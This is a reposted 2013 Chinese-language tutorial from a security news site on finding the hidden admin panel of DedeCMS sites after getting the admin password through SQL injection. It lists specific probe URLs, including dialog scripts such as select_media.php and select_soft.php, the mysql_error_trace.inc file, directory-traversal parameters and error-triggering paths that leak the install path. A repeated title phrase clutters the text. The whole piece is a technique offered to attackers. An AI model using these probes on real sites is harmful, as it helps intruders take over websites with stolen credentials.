网络空间安全:行业资讯、技术分享、法规研讨、趋势分析……

忘记密码
“游侠安全网”创建了网络安全从业者QQ大群(群号:1255197) ,欢迎各位同仁加入!有其它问题如合作等,请联系站长“网路游侠”,QQ:55984512


织梦dedecms管理系统后台查找技巧

2013-11-29 20:00 推荐: 浏览: 29 字号:

摘要: 有时在通过注射得到织梦程序的管理密码时,却发现找不到后台地址。这样让大家很是蛋疼,下面我来介绍几种织梦系统找后台的方法。 织梦dedecms管理系统后台查找技巧 这个时候大家可以尝试下在地址后面加上: 织梦dedecms管理系统后台查找技巧 1、/includ...

有时在通过注射得到织梦程序的管理密码时,却发现找不到后台地址。这样让大家很是蛋疼,下面我来介绍几种织梦系统找后台的方法。

织梦dedecms管理系统后台查找技巧
这个时候大家可以尝试下在地址后面加上:

织梦dedecms管理系统后台查找技巧
1、/include/dialog/select_media.php?f=form1.murl

织梦dedecms管理系统后台查找技巧
2、/include/dialog/select_soft.php

织梦dedecms管理系统后台查找技巧

3.使用mysql_error 信息去试试

/data/mysql_error_trace.inc  —— 建议使用该方法屡试屡爽

织梦dedecms管理系统后台查找技巧

但不一定通杀。。

织梦dedecms管理系统后台查找技巧
DedeCmsV5.1 FreeSP1访问

织梦dedecms管理系统后台查找技巧
http://127.0.0.1/include/dialog/ … =/include/FCKeditor

织梦dedecms管理系统后台查找技巧
可以跳转目录跳转到根目录的方法为:

织梦dedecms管理系统后台查找技巧
http://127.0.0.1/include/dialog/ … h=/././././././././

织梦dedecms管理系统后台查找技巧
而且DEDECMS在访问不存在的目录时会报错如访问

织梦dedecms管理系统后台查找技巧
http://127.0.0.1/include/dialog/ … t0pst0pst0pst0pst0p

织梦dedecms管理系统后台查找技巧
DedeCMS V5.3.1和最新的DedeCMS V5.5正式版,发现这两个版本已经进行了处理,而且只会列出目录和一些允许显
示的文件,PHP是不能显示了,爆路径是一样通用的构造

织梦dedecms管理系统后台查找技巧
http://127.0.0.1/include/dialog/ … =/include/FCKeditor

原文:http://www.qxzxp.com/295.html

联系站长租广告位!

中国首席信息安全官